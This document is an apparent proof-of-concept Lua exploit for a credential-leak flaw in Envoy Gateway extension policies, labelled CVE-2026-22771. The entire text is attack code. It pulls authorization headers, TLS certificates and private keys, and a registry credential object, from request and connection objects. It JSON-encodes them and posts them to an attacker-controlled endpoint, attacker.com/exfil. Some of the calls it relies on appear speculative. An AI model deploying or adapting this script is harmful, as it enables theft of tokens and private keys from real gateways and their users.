CVE-2026-22771: Envoy Gateway Lua脚本凭据泄露漏洞

-- CVE-2026-22771 PoC - Envoy Gateway Lua Script Credential Leak -- This PoC demonstrates how Lua scripts in EnvoyExtensionPolicy can leak credentials -- Step 1: Access Envoy internal objects to retrieve credentials local function leak_credentials() local credentials = {} -- Attempt to access internal credential store -- In vulnerable versions, this may expose sensitive data local internal = debug.getregistry() -- Try to access Envoy's credential object if internal and internal.EnvoyCredentials then credentials = internal.EnvoyCredentials end -- Alternative method: Access through request metadata local headers = request:headers() if headers then -- Try to extract authorization headers or tokens local auth = headers:get("authorization") if auth then credentials.authorization = auth end end -- Access connection credentials local connection = request:connection() if connection then -- Try to extract TLS certificates or mTLS credentials local ssl_info = connection:ssl() if ssl_info then credentials.ssl_cert = ssl_info:cert() credentials.ssl_key = ssl_info:private_key() end end return credentials end -- Step 2: Exfiltrate credentials (in real attack, this would be sent to C2) local function exfiltrate(creds) -- Encode credentials for transmission local payload = cjson.encode(creds) -- Send to attacker-controlled endpoint local http = require("socket.http") local ltn12 = require("ltn12") local response = {} http.request{ url = "https://attacker.com/exfil", method = "POST", headers = { ["Content-Type"] = "application/json", ["Content-Length"] = tostring(#payload) }, source = ltn12.source.string(payload), sink = ltn12.sink.table(response) } end -- Main execution local creds = leak_credentials() if next(creds) then exfiltrate(creds) end